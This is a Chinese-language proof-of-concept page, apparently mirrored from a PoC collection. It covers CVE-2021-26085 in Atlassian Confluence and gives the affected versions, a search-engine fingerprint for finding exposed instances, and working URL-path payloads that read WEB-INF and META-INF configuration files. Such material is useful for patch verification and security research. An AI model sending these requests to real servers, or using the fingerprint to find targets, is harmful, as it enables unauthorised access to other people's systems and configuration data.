mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
36 lines
933 B
Markdown
36 lines
933 B
Markdown
# Atlassian Confluence 敏感信息泄露 CVE-2021-26085
|
||
|
||
## 漏洞描述
|
||
|
||
Confluence 是一个专业的企业知识管理与协同软件，也可以用于构建企业 wiki。使用简单，但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。该漏洞不是任意文件读取，只能读取一些 confluence 的配置文件，影响有限。
|
||
|
||
参考链接：
|
||
|
||
- https://jira.atlassian.com/browse/CONFSERVER-67893
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
version < 7.4.10
|
||
7.5.0 ≤ version < 7.12.3
|
||
```
|
||
|
||
## 网络测绘
|
||
|
||
```
|
||
app="ATLASSIAN-Confluence"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
poc：
|
||
|
||
```
|
||
/s/123cfx/_/;/WEB-INF/web.xml
|
||
/s/123cfx/_/;/WEB-INF/decorators.xml
|
||
/s/123cfx/_/;/WEB-INF/classes/seraph-config.xml
|
||
/s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties
|
||
/s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml
|
||
```
|
||
|